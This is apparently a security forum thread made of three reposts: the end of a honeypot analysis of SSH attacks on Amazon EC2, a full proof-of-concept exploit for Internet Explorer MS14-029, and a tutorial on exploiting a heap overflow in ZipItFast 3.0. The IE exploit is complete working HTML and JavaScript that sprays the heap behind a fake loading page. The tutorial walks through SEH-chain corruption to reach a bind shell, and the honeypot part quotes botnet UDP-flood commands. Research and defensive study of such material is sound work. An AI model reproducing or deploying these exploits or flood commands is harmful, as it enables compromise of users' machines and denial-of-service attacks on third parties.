/dev/null The following is the output of nestat during the infection. Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 673/sshd tcp 0 0 127.0.0.1:10808 0.0.0.0:* LISTEN 22589/.bash_root.tm tcp 0 0 127.0.0.1:10808 127.0.0.1:40878 ESTABLISHED 22589/.bash_root.tm tcp 0 0 172.31.6.109:22 60.169.77.233:4660 ESTABLISHED 23350/0 tcp 0 0 127.0.0.1:40878 127.0.0.1:10808 ESTABLISHED 22583/.bash_root.tm tcp 0 60 172.31.6.109:37806 183.57.38.250:36000 ESTABLISHED 22583/.bash_root.tm tcp6 0 0 :::22 :: LISTEN 673/sshd udp 0 0 0.0.0.0:53 0.0.0.0:* 19684/tinydns udp 0 0 0.0.0.0:68 0.0.0.0:* 468/dhclient3 And the following example shows list of files uploaded and extracted on the SH. root@ip-172-31-6-109:~# ls -al /tmp total 1848 drwxrwxrwt 4 root root 4096 May 23 01:20 . drwxr-xr-x 24 root root 4096 May 20 11:54 .. -rwxr-xr-x 1 root root 1344645 May 20 11:39 .bash_root.tmp3 -rwxr-xr-x 1 root root 353564 May 21 12:55 .bash_root.tmp3h -rwxr-xr-x 1 root root 5 May 21 12:55 bill.lock -rw-r--r-- 1 root root 69 May 22 16:03 conf.n -rwxr-xr-x 1 root root 5 May 21 12:55 gates.lock drwxr-xr-x 2 root root 4096 Apr 21 04:17 get -rw-r--r-- 1 root root 147456 May 17 17:18 go.tar.gz drwx------ 2 root root 4096 May 20 11:52 mc-root -rwxr-xr-x 1 root root 5 May 21 12:55 moni.lock -rw-r--r-- 1 root root 72 May 21 01:51 rc.local -rw-r--r-- 1 root root 19 May 21 01:32 resolv.conf Commander Upon successful deployment of malicious files, in all cases, an outbound connection was initiated from the SH to a C&C server. Commander, the third actor, is a malicious entity who controls the C&C server and remotely sends command to infected hosts. Figure 4 shows the IRC welcome message from one of the C&C servers. Figure 4: an example of IRC welcome message on a C&C server hosted on 5.254.116.134 (provider: Voxility) In most cases, C&C server was IRC based and infected host joined an IRC channel and got assigned a nickname for communication with the Commander. Throughout the experiment, the infected SHs were employed to initiate DoS attacks against two external servers: :Gucci!Gucci@34635712.46 PRIVMSG #Support :!bot @udpflood 198.61.234.201 53 65500 60.. :Gucci!Gucci@34635712.46 PRIVMSG #Support :!bot @udpflood 245.167.133.214 53 65500 120.. And below is the response from the infected host once task is completed PRIVMSG #Support :.4|.12.:.3UDP DDoS.12:..4|.12 Attacking .4 198.61.234.201 53 .12 with .4 65500 .12 Kb Packets for .4 60 .12 seconds.. The attack was targeted on port 53 (DNS) for the duration of 60 seconds and 120 seconds. Please note that all outbound connections from SH were monitored and filtered in order to prevent any possible harm to external servers. That’s all for now. There are still other interesting points that I am investigating and will cover them in the future posts. How to protect yourself against SSH attacks Three (3) tips that can strongly improve the security posture of your SSH service (there are lots other things your can do but these three will help the most): Be cautious of running blacklisting software such as Fail2ban. You may crash your own server (more details https://wiki.archlinux.org/index.php/fail2ban). Instead whitelist the access to the SSH service, if not possible, use an external blacklist feed to block intruders. Remember, if you use a generic blacklist feed, on average, it blocks 12% of your actual intruders; Disable username and password (keyboard-based) authentication on the SSH service. If not possible setup a Two-Factor authentication (more here); and Run the SSH service on a non-default port (security by obscurity!). Malicious scripts and binary files, password lists etc. are available for download to the research community. Get in touch if you interested to a receive a copy. Do you want to find out more about your environment’s attackers and their tactics? Fill up this form for an invitation to a free Smart Honeypot VIP plan.Sursa: An in-depth analysis of SSH attacks on Amazon EC2 | Smart Honeypot

Microsoft Internet Explorer MS14-029 Memory Corruption Authored by PhysicalDrive0 Microsoft Internet Explorer memory corruption proof of concept exploit that leverages the vulnerability noted in MS14-029. <!doctype html> <html> <head> <meta http-equiv="Cache-Control" content="no-cache"/> <sc?ript > func?tion stc() { var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 ); document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString(); } func?tion cid() { var swf = 0; try { swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) { } if (!swf) return 0; var cookieString = new String(document.cookie); if(cookieString.indexOf("d93kaj3Nja3") == -1) {stc(); return 1;}else{ return 0;} } String.prototype.repeat=func?tion (i){return new Array(isNaN(i)?1:++i).join(this);} var tpx=un?escape ("%u1414%u1414").repeat(0x60/4-1); var ll=new Array(); for (i=0;i<3333;i++)ll.push(document.create?Element("img")); for(i=0;i<3333;i++) ll[i].className=tpx; for(i=0;i<3333;i++) ll[i].className=""; CollectGarbage(); func?tion b2() { try{xdd.re?placeNode(document.createTextNode(" "));}catch(exception){} try{xdd.outerText='';}catch(exception){} CollectGarbage(); for(i=0;i<3333;i++) ll[i].className=tpx; } func?tion a1(){ if (!cid()) return; document.body.contentEditable="true"; try{xdd.applyElement(document.create?Element("frameset"));}catch(exception){} try{document.selection.createRange().select();}catch(exception){} } </ sc?ript > </head> <body onload='setTimeout("a1();",2000);' onresize=b2()> <marquee id=xdd > </marquee> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1%" height="1%" id="FE"> <param name="movie" value="storm.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#ffffff" /> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="true" /> </object> </body> <body> <form name=loading> ¡¡<p align=center> <font color="#0066ff" size="2"> Loading....,Please Wait</font> <font color="#0066ff" size="2" face="verdana"> ...</font> ¡¡¡¡<input type=text name=chart size=46 style="font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;"> ¡¡¡¡ ¡¡¡¡<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;"> ¡¡¡¡<sc?ript > ¡¡ var bar=0¡¡ var line="||"¡¡ var amount="||"¡¡ count()¡¡ func?tion count(){¡¡ bar=bar+2¡¡ amount =amount + line¡¡ document.loading.chart.value=amount¡¡ document.loading.percent.value=bar+"%"¡¡ if (bar<99)¡¡ {setTimeout("count()",500);}¡¡ else¡¡ {window.location = "http://www.google.com.hk";}¡¡ }</ sc?ript > ¡¡</p> </form> <p align="center"> Wart,<a style="text-decoration: none" href="http://www.google.com.hk"> <font color="#FF0000"> kick me</font> </a> .</p> </body> </html> Sursa: Microsoft Internet Explorer MS14-029 Memory Corruption ? Packet Storm

Exact asta voiam eu sa postez. Pacat ca momentan sunt toti la "Interlopi" la Offtopic

[h=3]Windows Heap Overflow Exploitation[/h] Hi , In this article I will be talking about exploiting a custom heap : which is a big chunk of memory allocated by the usermode application using VirtualAlloc for example . The application will then work on managing 'heap' block allocations and frees (in the allocated chunk) in a custom way with complete ignorance of the Windows's heap manager. This method gives the software much more control over its custom heap, but it can result in security flaws if the manager doesn't do it's job properly , we'll see that in detail later. To see an implementation of a custom heap manager in C/C++ please refer to my previous blog post : Reverse Engineering 0x4 Fun: Creating and using your own 'heap' manager Heap Manager Source code : [C++] Custom Heap Manager - Pastebin.com The vulnerability that we'll exploit together today is a 'heap' overflow vulnerability that's occuring in a custom heap built by the application. The vulnerable software is : ZipItFast 3.0 and we'll be exploiting it today and gaining code execution under Windows 7 . ASLR , DEP , SafeSEH aren't enabled by default in the application which makes it even more reliable to us . Even though , there's still some painful surprises waiting for us ... Let's just start : The Exploit : I've actually got the POC from exploit-db , you can check it right here : ZipItFast 3.0 - (.ZIP) Heap Overflow Exploit Oh , and there's also a full exploit here : ZipItFast PRO 3.0 - Heap Overflow Exploit Unfortunately , you won't learn much from the full exploitation since it will work only on Windows XP SP1. Why ? simply because it's using a technique that consists on overwriting the vectored exception handler node that exists in a static address under windows XP SP1. Briefly , all you have to do is find a pointer to your shellcode (buffer) in the stack. Then take the stack address which points to your pointer and after that substract 0x8 from that address and then perform the overwrite. When an exception is raised , the vectored exception handlers will be dispatched before any handler from the SEH chain, and your shellcode will be called using a CALL DWORD PTR DS: [ESI + 0x8] (ESI = stack pointer to the pointer to your buffer - 0x8). You can google the _VECTORED_EXCEPTION_NODE and check its elements. And why wouldn't this work under later versions of Windows ? Simply because Microsoft got aware of the use of this technique and now EncodePointer is used to encode the pointer to the handler whenever a new handler is created by the application, and then DecodePointer is called to decode the pointer before the handler is invoked. Okay, let's start building our exploit now from scratch. The POC creates a ZIP file with the largest possible file name , let's try it : N.B : If you want to do some tests , execute the software from command line as follows : Cmd :> C:\blabla\ZipItFast\ZipItFast.exe C:\blabla\exploit.zip Then click on the Test button under the program. Let's try executing the POC now : An access violation happens at 0x00401C76 trying to access an invalid pointer (0x41414141) in our case. Let's see the registers : Basically the FreeList used in this software is a circular doubly linked lists similar to Windows's . The circular doubly linked list head is in the .bss section at address 0x00560478 and its flink and blink pointers are pointing to the head (self pointers) when the custom heap manager is initialized by the software. I also didn't check the full implementation of the FreeList and the free/allocate operations in this software to see if they're similar to Windows's (bitmap , block coalescing ...etc). It's crucial also to know that in our case , the block is being unlinked from the FreeList because the manager had a 'request' to allocate a new block , and it was chosen as best block for the allocation. Let's get back to analysing the crash : - First I would like to mention that we'll be calling the pointer to the Freelist Entry struct : "entry". Registers State at 0x00401C76 : EAX = entry->Flink EDX = entry->Blink [EAX] = entry->Flink->Flink [EAX+4] = entry->Flink->Blink (Next Block's Previous block) [EDX] = entry->Blink->Flink (Previous Block's Next Block) [EDX+4] =entry->Blink->Blink Logically speaking : Next Block's Previous Block and Previous Block's Next Block are nothing but the current block. So the 2 instructions that do the block unlinking from the FreeList just : - Set the previous freelist entry's flink to the block entry's flink. - Set the next freelist entry's blink to the block entry's blink. By doing so , the block doesn't belong to the freelist anymore and the function simply returns after that. So it'll be easy to guess what's happening here , the software allocates a static 'heap' block to store the name of the file and it would have best to allocate the block based on the filename length from the ZIP header (this could be a fix for the bug , but heap overflows might be found elsewhere , I'll propose a better method to fix ,but not fully, this bug later in this article). Now , we know that we're writing past our heap block and thus overwriting the custom metadata of the next heap block (flink and blink pointers). So, We'll need to find a reliable way to exploit this bug , as the 2 unlinking instructions are the only available to us and we control both EAX and EDX. (if it's not possible in another case you can see if there are other close instructions that might help), you can think of overwriting the return address or the pointer to the structured exception handler as we have a stack that won't be rebased after reboot. This might be a working solution in another case where your buffer is stored in a static memory location. But Under Windows 7 , it's not the case , VirtualAlloc allocates a chunk of memory with a different base in each program run. In addition , even if the address was static , the location of the freed block that we overwrite varies. So in both cases we'll need to find a pointer to our buffer. The best place to look is the stack , remember that the software is trying to unlink (allocate) the block that follows the block where we've written the name , so likely all near pointers in the stack (current and previous stack frame) are poiting to the newly allocated block (pointer to metadata) . That's what we don't want because flink and blink pointers that we might set might not be valid opcodes and might cause exceptions , so all we need to do is try to find a pointer to the first character of the name and then figure out how to use this pointer to gain code execution , this pointer might be in previous stack frames. And here is a pointer pointing to the beginning of our buffer : 3 stack frames away Remember that 0x01FB2464 will certainly be something else when restarting the program , but the pointer 0x0018F554 is always static , even when restarting the machine. So when I was at this stage , I started thinking and thinking about a way that will help me redirect execution to my shellcode which is for sure at the address pointed by 0x0018F554 , and by using only what's available to me : - Controlled registers : EAX and EDX. - Stack pointer to a dynamic buffer pointer. - 2 unlinking instructions. - No stack rebase. Exploiting the vulnerability and gaining code execution: And Then I thought , why wouldn't I corrupt the SEH chain and create a Fake frame ? Because when trying to corrupt an SEH chain there are 3 things that you must know : - SafeSEH and SEHOP are absent. - Have a pointer to an exisiting SEH frame. - Have a pointer to a pointer to the shellcode. The pointer to the shellcode will be treated as the handler,and the value pointed by ((ptr to ptr to shellcode)-0x4) will be treated as the pointer to the next SEH frame. Let's illustrate the act of corrupting the chain : (with a silly illustration , sorry) Let me explain : we need to achieve our goal by using these 2 instructions , right ? : MOV [EDX],EAX MOV [EAX+4], EDX We'll need 2 pointers and we control 2 registers , but which pointer give to which register ? This must not be a random choice because you might overwrite the pointer to the shellcode if you chose EAX as a pointer to your fake SEH frame. So we'll need to do the reverse , but with precaution of overwriting anything critical. In addition we actually don't care about the value of "next SEH frame" of our fake frame. So our main goal is to overwrite the "next SEH frame" pointer of an exisiting frame , to do so we need to have a pointer to our fake frame in one of the 2 registers. As [EAX+4] will overwrite the pointer to the buffer if used as a pointer to the fake SEH frame , we will use EDX instead. We must not also overwrite the original handler pointer because it will be first executed to try to handle the exception , if it fails , then our fake handler (shellcode) will be invoked then. So : EDX = &(pointer to shellcode) - 0x4 = Pointer to Fake "Next SEH frame" element. EDX must reside in the next frame field of the original frame which is : [EAX+4]. And EAX = SEH Frame - 0x4. Original Frame after overwite : Pointer to next SEH : Fake Frame Exception Handler : Valid Handler Fake Frame : Pointer to next SEH : (Original Frame) - 0x4 (we just don't care about this one) Exception Handler : Pointer to shellcode The SEH frame I chose is at : 0x0018F4B4 So : EAX = 0x0018F4B4 - 0x4 = 0x0018F4B0 and EDX =0x0018F554 - 0x4 = 0x0018F550 When the overwrite is done the function will return normally to its caller , and all we have to do now is wait for an exception to occur . An exception will occur after a dozen of instructions as the metadata is badly corrupted. The original handler will be executed but it will fail to handle the access violation and then our fake handler will be called which is the shellcode . Making the exploit work : Now all we need to do is calculate the length between the 1st character of the name and the flink and blink pointers , and then insert our pointers in the POC. Inserting the shellcode : The space between the starting address of the buffer and the heap overwritten metadata is not so large , so it's best to put an unconditional jump at the start of our buffer to jump past the overwritten flink and blink pointers and then put the shellcode just after the pointers. As we can calculate the length , this won't cause any problem. Final exploit here : [Perl] ZipItFast Heap Overflow - Pastebin.com I chose a bind shellcode , which opens a connection to (0.0.0.0:4444). Let's try opening the ZIP file using ZipItFast and then check "netstat -an | find "4444" : Bingo ! A Fix for this vulnerability ?? The method I stated before which consists on allocating the block based on the filename length from the ZIP headers can be valid only to fix the vulnerability in this case , but what if the attackers were also able to cause an overflow elsewhere in the software ? The best way to fix the bug is that : when a block is about to be allocated and it's about to be unlinked from the Freelist the first thing that must be done is checking the validity of the doubly linked list , to do so : safe unlinking must be performed and which was introduced in later versions of Windows. Safe unlinking is done the following way : if ( entry->flink->blink != entry->blink->flink || entry->blink->flink != entry){ //Fail , Freelist corrupted , exit process } else { //Unlink then return the block to the caller } Let's see how safe unlinking is implemented under Windows 7 : The function is that we'll look at is : RtlAllocateHeap exported by ntdll Even if this method looks secure , there is some research published online that provides weaknesses of this technique and how can it be bypassed. I also made sure to implement this technique in my custom heap manager (Line 86) , link above. I hope that you've enjoyed reading this paper . See you again soon , Souhail Hammou. Sursa: Reverse Engineering 0x4 Fun: Windows Heap Overflow Exploitation